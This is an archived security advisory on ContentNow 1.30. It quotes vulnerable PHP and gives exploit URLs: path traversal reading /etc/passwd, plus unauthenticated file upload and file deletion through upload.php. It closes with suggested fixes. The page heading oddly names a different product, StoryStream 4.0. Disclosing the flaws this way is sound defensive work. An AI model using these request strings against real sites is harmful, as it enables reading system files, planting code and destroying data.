Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:15043
HistoryNov 14, 2006 - 12:00 a.m.

StoryStream 4.0 (baseDir) Remote File Include Vulnerabilities

2006-11-1400:00:00
vulners.com
32

#####################################################################################

r0ut3r Presents…

Another r0ut3r discovery!

ContentNow 1.30 Local File Include & Arbitrary File Upload/Delete Vulnerabilities

#####################################################################################

Software: ContentNow 1.30 Vulnerabilities

Vendor: http://www.contentnow.mf4k.de/

Released: 2006/11/13

Discovered By: r0ut3r (writ3r [at] gmail.com)

Criticality: Highly critical

#####################################################################################

Local file inclusion vulnerability

Vuln code:

33 // get/set language
34 $setLang= (empty ($_GET['lang'])) ? $cnCore->getBackendLanguage() : $_GET['lang'];
35
36 // define language
37 include_once ('./language/'.$setLang.'.language.php');
38 $lang= $cnLanguageArray[$setLang];

Exploit:

http://localhost/cn/edit.php?lang=../../../../etc/passwd%00
http://localhost/cn/image.php?lang=../../../../etc/passwd%00
http://localhost/cn/upload.php?lang=../../../../etc/passwd%00
Probably more, never checked all files.

File Upload/Command Execution Vulnerability:

Note: They tell you to set 777 permissions on install for certain folders.

http://localhost/cn/upload.php?path=/&cid=&type=file&single=false&folder=&lang=en
set path to equal dir location:
/ = root path

Select file, then upload it.

File Removal Vulnerability:

To delete files
http://localhost/contentnow_130/cn/upload.php?path=/&cid=&type=file&folder=&lang=en&delfile=q.php&single=false
set path to equal dir location:
/ = root path
set delfile for file you want to delete:
q.php

More Information:

Email: writ3r [at] gmail.com

Fix:

How about some authentication?!
Only allow the upload of certain files types, depends what you want it to use.

As for local file includes, work out a better way to set languages, ie: make sure the language file included is required for the cms.

Quick Fix:

Setup .htaccess on cn/

Example Fix:

.htaccess:
AuthName "ContentNow Fix!"
AuthType Basic
AuthUserFile /var/www/html/cn/.htpasswd
Require valid-user

This will prevent anyone from accessing this folder - this would be a solution for administrators whilst an upgrade, or patch is created.
If you do want to access this better make a .htpasswd file to.